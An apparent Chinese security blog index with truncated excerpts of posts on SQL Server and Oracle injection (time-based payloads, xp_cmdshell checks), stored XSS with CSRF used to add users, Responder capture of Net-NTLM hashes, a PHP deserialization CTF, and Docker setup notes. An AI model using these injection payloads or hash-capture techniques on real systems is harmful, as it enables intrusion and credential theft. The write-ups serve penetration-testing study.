从SQL Server报错注入到getshell

0x00 目标情况 一个web站点111.*.*.63,只有一个登陆框,测试了没有注入,没有弱口令 扫描了全端口,没有发现什么有用的信息 0x01 发现注入 当时是查看网页源代码,有两个可疑接口,一个是初始化密码借口,访问返回空白页面,没有什么用 另一个是密码设置接口,不过这个接口是同网段的另一个ip 111.*.*.59,访问后发现是个重置密码的界面 但是进行密码重置的时候需要发送验证码,系统会先校验用户名是否存在,加单引号出错,and 1=2没反应 burpsuite抓包后sqlmap跑了下,python sqlmap.py -r 1.txt,存在注入 通过sqlmap得到了这几个数据库 [*] HSOA_20170320 [*] HSOA_NEW [*] HSOA_T [*] master [*] model [*] msdb [*] Shuttle [*] SHWT [*] tempdb 0x02 找网站绝对路径 判断是不是dba权限(延时后返回正确页面,确定为dba权限<也可用sqlmap的–is-dba判断>) uname=test';if(1=(select is_srvrolemember('sysadmin'))) WAITFOR DELAY '0:0:2';-- 判断是否是站库分离(延时后返回正确页面,确定站库没有分离) uname=test';if(host_name()=@@servername) WAITFOR DELAY '0:0:5';-- 查看是否有xp_cmdshell uname=test';if(1=(select count(*) from master.dbo.sysobjects where xtype = 'x' and name = 'xp_cmdshell')) WAITFOR DELAY '0:0:2'-- 恢复/删除xp_cmdshell exec sp_addextendedproc xp_cmdshell,@dllname='xplog70.


SQL注入tips(Oracle)

0x00 判断数据库类型 Oracle有一些自带的表:dual、user_tables id=45 and (select count(*) from user_tables)>0-- id=45 and (select count(*) from dual)>0-- 利用自带的一些函数:譬如utl_http.request 这些 利用Oracle的字符连接符:CHR(97)||CHR(110)||CHR(100)||CHR(32)||CHR(49)||CHR(61)||CHR(49) 0x01 基本信息获取 查看sid select instance_name from v$instance; 查看数据库版本: select banner from v$version where rownum=1; select banner from sys.v_$version where rownum=1; 查看用户: select user from dual; --当前用户 select username from user_users; --当前用户 select username from all_users; --查看所有用户 select username from dba_users; --查看所有用户(需要有权限) 查看当前用户角色:


Oracle数据库简单使用

0x00 关于Oracle 完整的Oracle数据库通常由两部分组成:Oracle数据库和数据库实例。 数据库是一系列物理文件的集合(数据文件,控制文件,联机日志,参数文件等) Oracle数据库实例则是一组Oracle后台进程/线程以及在服务器分配的共享内存区 关于部分视图 DBA/ALL/USER/V_$/GV_$/SESSION/INDEX开头的绝大部分都是视图 DBA_TABLES意为DBA拥有的或可以访问的所有的关系表。 ALL_TABLES意为某一用户拥有的或有权限访问的所有的关系表。 USER_TABLES意为某一用户所拥有的所有的关系表。 当某一用户本身就为数据库DBA时,DBA_TABLES与ALL_TABLES等价。 DBA_TABLES >= ALL_TABLES >= USER_TABLES 0x01 关于实例 在启动Oracle数据库服务器时,实际上是在服务器的内存中创建一个Oracle实例(即在服务器内存中分配共享内存并创建相关的后台内存) 我们访问Oracle都是访问一个实例,通过Oracle数据库实例来访问和控制磁盘中的数据文件 Oracle实例如果关联了数据库文件,就是可以访问的,如果没有,就会得到实例不可用的错误 实例名指的是用于响应某个数据库操作的数据库管理系统的名称,它同时也叫SID,连接数据库时就会用到这个SID,如:jdbc:oracle:thin:@localhost:1521:orcl(orcl就为数据库实例名) 0x02 关于表空间(可以理解为mysql中的数据库) Oracle数据库是通过表空间来存储物理表的,一个数据库实例可以有N个表空间,一个表空间下可以有N张表。 用户和表空间是多对多的关系,但是一般创建用户时会指定一个默认表空间。 表空间是数据库中最大的逻辑单位,一个表空间可以包含多个数据文件,而一个数据文件只能隶属一个表空间。 0x03 搭建Oracle环境 使用docker拉取Oracle数据库并且运行 [23:36 reber@wyb in ~] ➜ docker pull alexeiled/docker-oracle-xe-11g [23:36 reber@wyb in ~] ➜ docker run --rm -tid --shm-size=2g -p 1521:1521 -p 8080:8080 alexeiled/docker-oracle-xe-11g 然后在www.oracle.com下载链接Oracle的客户端:instantclient-basic-macos、instantclient-sqlplus-macos [15:41 reber@wyb in ~/Downloads] ➜ unzip instantclient-basic-macos.


记一次SQL Server报错注入

0x00 验证码前端验证 需要测试一个网站,刚开始看到网站时感觉希望不大,因为验证码是需要拖动的,这也就意味着很大可能没办法爆破,另一方面是都用这种验证码了,安全做的能很差劲吗?果然,试了admin、123456之类的都不行 那就抓个包吧 emmmmmm。 32位,md5加密?这里看着没有验证码之类的信息,把这个包发了几次发现没有出现验证码信息,而且试了试,发现有两种状态(运气比较好,有admin这个用户,我也是试的这个用户,一下子就看出返回不同了),如下: 用户不存在时返回 {"iserror":true,"message":"用户名不存在!","data":null,"errorfieldlist":null} 用户名存在时返回 {"iserror":true,"message":"密码不正确!","data":null,"errorfieldlist":null} 可以的,验证码前端验证,我觉得可以burp抓包intruder一下 跑了top 500的用户名和top 1000的密码,除了直接试的用户名admin,其他的一个都没有跑出来 sad 0x01 存在注入 嗯看来爆破是基本没有希望了,测其他的吧,嗯,这里是登陆,那肯定要看注入的,无脑加单引号,boom! 可以的,and 1=1 有注入 哎??!!!那不对啊,咋的后台还解密md5后进行查询?? 刚才看了数据包,用户名密码都是32位,猜想sql语句是:select password from user where username=name_md5_hash,然后判断用户存不存在之类的 看返回信息的话显然不是啊,哪有后台解密md5后查询的。。。。。。 试试post其他用户名和密码,然后看数据包 显然并不是md5。。。。 这个是前端加密后发送的。。。。。看一下js,结果发现了这个 emmmmm,想了想,应该可以注入的,看看啥系统 大概率SQL Server了(因为前几天在t00ls刚看到了一个ASP.NET+MySQL,比较任性),所以这里看一下,发现确实是SQL Server 看看数据库版本,嗯,看来还是报错注入 可以可以,看看有几列,然后进行union注入 一列,这里也能大致猜出来sql语句了,估计就是:select password from user where username='admin' 那就看看数据库吧,不知道SQL Server中的concat怎么用,一个个来吧。。。。 得到第一个数据库的名字:union select name from master.dbo.sysdatabases where dbid=1 得到第二个数据库的名字:union select name from master.dbo.sysdatabases where dbid=2 得到第5个数据库的名字:union select name from master.dbo.sysdatabases where dbid=5 好麻烦啊,拖一下验证码,然后得到一个数据库,而且后面还有表呢。。。。。 py一下了吧,前端有js进行加密,可以本地写文件生成加密后的payload,然后python拿到payload后进行注入


使用docker-compose构造LAMP环境

0x00 实现功能 使用docker-compose构造LAMP环境,其中mysql数据库、mysql配置文件、网站文件均持久化存储到本机。 apache、php通过Dockerfile构造,Dockerfile拉取ubuntu镜像,然后安装apache2和php。 mysql的话通过docker的links连接mysql:5.5这个镜像当作数据库。 具体文件参见:https://github.com/reber0/docker_env 0x01 文件构造 ➜ tree apache apache ├── Dockerfile ├── conf │ └── my.cnf ├── docker-compose.yml ├── mysql ├── src │ ├── init.sh │ └── sources.list └── web └── index.php 4 directories, 6 files 0x02 docker-compose.yml version: '3' services: apache: image: ubuntu:apache #镜像名为ubuntu,tag为apache container_name: apache #运行后生成的容器名字为apache build: . #使用当前路径下的Dockerfile构造镜像 ports: - "81:80" volumes: - ./www:/var/www/html links: - mymysql environment: #设置环境变量 - TZ=Asia/Shanghai #设定时区 restart: always #容器重启策略:当容器终止退出后,总是重启容器,默认策略。 mymysql: image: mysql:5.


Docker之Docker Compose

0x00 关于docker compose 可以把docker-compose当作docker命令的封装,它是一个用来把 docker 自动化的东西,docker-compose可以一次性管理多个容器,通常用于需要多个容器相互配合来完成某项任务的场景。 0x01 安装与卸载 https://docs.docker.com/compose/install 0x02 一些常用命令 构建容器:docker-compose up -d 启动容器:docker-compose start 停止容器:docker-compose stop 重启容器:docker-compose restart kill容器:docker-compose kill 删除容器:docker-compose rm bash连接容器:docker-compose exec [services_name] bash 执行一条命令:docker-compose run [services_name] [command] 0x03 docker-compose简单应用 结构 . ├── Dockerfile ├── docker-compose.yml └── src ├── app.py └── sources.list 1 directory, 4 files Dockerfile FROM ubuntu:14.04.4 MAINTAINER reber <1070018473@qq.com> COPY ./src /code #将data挂载到容器的code WORKDIR /code RUN cp sources.list /etc/apt/sources.


记一次渗透测试中利用存储型XSS添加用户

0x00 简单查看 拿到目标后简单看了下,是一个类似员工管理的东西,用户可以创建group,其他用户可以搜索这个group然后申请加入 每个账号都可以注册组织,然后让别人加入,加入的用户有创建者、管理员、默认成员3个角色,管理员拥有的权限就比较大了,可以查看通讯录、添加成员、删除成员等等 0x01 申请加入组织流程分析 走了一遍流程,注册了两个账号,一个是reber,一个是yxk 在加入某组织时会让填验证信息,组织收到申请后同意然后把用户添加到某个分组然后确定 流程大概分4步,用户申请加入group、管理员点击同意、管理员关联用户到分组或成员、确定同意用户的申请 用户reber搜索组织,然后提交验证消息 用户yxk在消息列表同意reber的申请 yxk给reber分组,点击下一步 最后一步写入备注信息,点击同意按钮最终同意用户加入 0x02 请求链接分析 经过对上面流程的抓包分析测试,涉及到的有用请求有3个:管理员点击同意链接时的请求、关联到分组或成员的请求、确定同意的请求 用户申请加入某group时发送的数据包如下: API:/a/cms/org/applyorg POST:verification=11111&orgId=247173 group管理员同意用户申请时链接如下: API:/a/cms/apply/handle-accept?id=6de027c0-9a4f-490e-a5e2-d1c76cd34a70&oid=247178&name=1760048**** 这里链接里有一个id,经过抓包发现可以通过/a/cms/apply/applymsg这个接口直接得到同意申请时的链接 将申请用户关联到分组或成员涉及到如下数据包: API:/a/cms/apply/do.handle POST:ID=80b49e8f-4e8c-450f-8bf4-eb809271e779&OID=247178&GID=608863&MID=0&Agree=true&Reason=111 可以看到,上面的请求链接中都没有token,存在CSRF,就猜想能不能构造上述请求从而通过XSS和CSRF来做一些事情 0x03 构造直接添加用户到group的js 由于cookie设置了httponly,不能获取到完整的cookie,所以这里尝试写js代码,实现将用户直接加入group的功能 看了上面的请求包分析后发现,如果要构造数据包实现我们的想法的话需要有:ID、OID、GID这3个id 分析后发现在/a/cms/apply/applymsg请求的返回包中有同意的链接,链接中有ID 分析后发现在/a/cms/group/treeNode请求的返回包中有OID和GID 于是用于XSS的1.js内容构造如下: //因为这里要把ajax的返回值return到函数中,需要是同步请求,所以async要设为false function get_agree_url(){//得到管理员同意用户申请的链接 var agree_url; var href; $.ajax({ type: 'get', url: '/a/cms/apply/applymsg', async: false, success: function(data){ $(data).find('#accept').each(function(index,element){ href = $(this).attr('href'); if (/id=.


内网渗透之Responder与Net-NTML hash

0x00 一些概念 Windows认证协议 分为:基于NTML的认证和基于kerberos的认证 什么是NTLM Hash? 早期IBM设计的LM Hash算法存在弱点,微软在保持向后兼容性的同时提出了自己的挑战响应机制,即NTLM Hash 什么是Challenge-Response挑战/响应验证机制? Client输入username、password、domain,然后将用户名及密码hash后存在本地,并将username发送到 DC DC生成一个16字节的随机数,即Challenge(挑战码),然后传回Client Client收到Challenge后将密码hash和challenge混合hash,混合后的hash称为response,然后将challenge、response和username发送给Server Server将收到的3个值转发给DC,然后DC根据传过来的username到域控的账号数据库ntds.list找到对应的密码hash,将hash和Client传过来的challenge混合hash,将这个混合hash与Client传过来的response进行对比验证 NTLM Hash与Net-NTLM Hash NTLM Hash通常是指Windows系统下Security Account Manager中保存的用户密码hash,通常可从Windows系统中的SAM文件和域控的NTDS.dit文件中获得所有用户的hash(比如用Mimikatz提取),“挑战/响应验证”中的用户名及密码hash就是NTLM Hash Net-NTLM Hash通常是指网络环境下NTLM认证中的hash,“挑战/响应验证”中的response中包含Net-NTLM hash,用Responder抓取的就是Net-NTLM Hash 关于Responder 由Laurent Gaffie撰写的 Responder 是迄今为止,在每个渗透测试人员用于窃取不同形式的证书(包括Net-NTLM hash)的最受欢迎的工具。它通过设置几个模拟的恶意守护进程(如SQL服务器,FTP,HTTP和SMB服务器等)来直接提示凭据或模拟质询 – 响应验证过程并捕获客户端发送的必要 hash。Responder也有能力攻击LLMNR,NBT-NS和mDNS等协议。 什么是NTLM中继攻击? 攻击者可以直接通过LM Hash和NTLM Hash访问远程主机或服务,而不用提供明文密码。 0x01 软件环境 可以从https://github.com/lgandx/Responder下载Responder 域内主机:Win7(10.11.11.20) 域控主机:Win2008(10.11.11.18) 被控主机:Ubuntu14.04(10.11.11.11)和目标机同一网段 0x02 通过SMB服务获取Net-NTLM hash 对于SMB协议,客户端在连接服务端时,默认先使用本机的用户名和密码hash尝试登录,所以可以模拟SMB服务器从而截获hash,执行如下命令都可以得到hash net.exe use \\host\share attrib.exe \\host\share bcdboot.exe \\host\share bdeunlock.


SQL注入tips(SQL Server)

0x00 基础信息探测 @@VERSION,@@SERVERNAME,@@SERVICENAME; --Microsoft SQL Server 2008 (RTM) - 10.0.1600.22 (X64) --WIN-2008 --MSSQLSERVER USER,CURRENT_USER,SESSION_USER,SYSTEM_USER; --dbo --dbo --dbo --sa USER_NAME(),HOST_NAME(),HOST_ID(),SUSER_NAME(); --dbo --wyb --46530 --sa USER_ID(),USER_SID(); --1 --<01> ORIGINAL_LOGIN(); --sa 0x01 UNION query & error-based 注入 判断存在注入 and 1=1/and 1=2 select * from msg where id=1 and 11=(select case when(1=1) then 11 else 2 end); select * from msg where id=1 and 11=(select case when(1=2) then 11 else 2 end); 判断是否为sa权限 得到所有数据库名字 --报错得到数据库名,前6个是系统自带的数据库,所以从第7个开始,dbid依次增加即可得到所有数据库 select id,name from msg where id=1 and 0<>(select name from master.


关于PHP SESSION反序列化

0x00 环境 公司出了一些ctf,说要摸底,然后根据答题成绩来分配相应工作。。。。。 其中有一道是php反序列化,直接用的就是 第三届4.29“安恒杯”网络安全技术大赛初赛第三个web题 我比较菜,这里根据网上已有writeup做了一遍,这里记录一下。。。。 reber@wyb:~$ html cat /proc/version Linux version 4.4.0-31-generic (buildd@lgw01-43) (gcc version 4.8.4 (Ubuntu 4.8.4-2ubuntu1~14.04.3) ) #50~14.04.1-Ubuntu SMP Wed Jul 13 01:07:32 UTC 2016 reber@wyb:~$ html php --version PHP 5.5.9-1ubuntu4.21 (cli) (built: Feb 9 2017 20:54:58) Copyright (c) 1997-2014 The PHP Group Zend Engine v2.5.0, Copyright (c) 1998-2014 Zend Technologies with Zend OPcache v7.0.3, Copyright (c) 1999-2014, by Zend Technologies reber@ubuntu-linux:~$ apachectl -v Server version: Apache/2.

可以返回顶部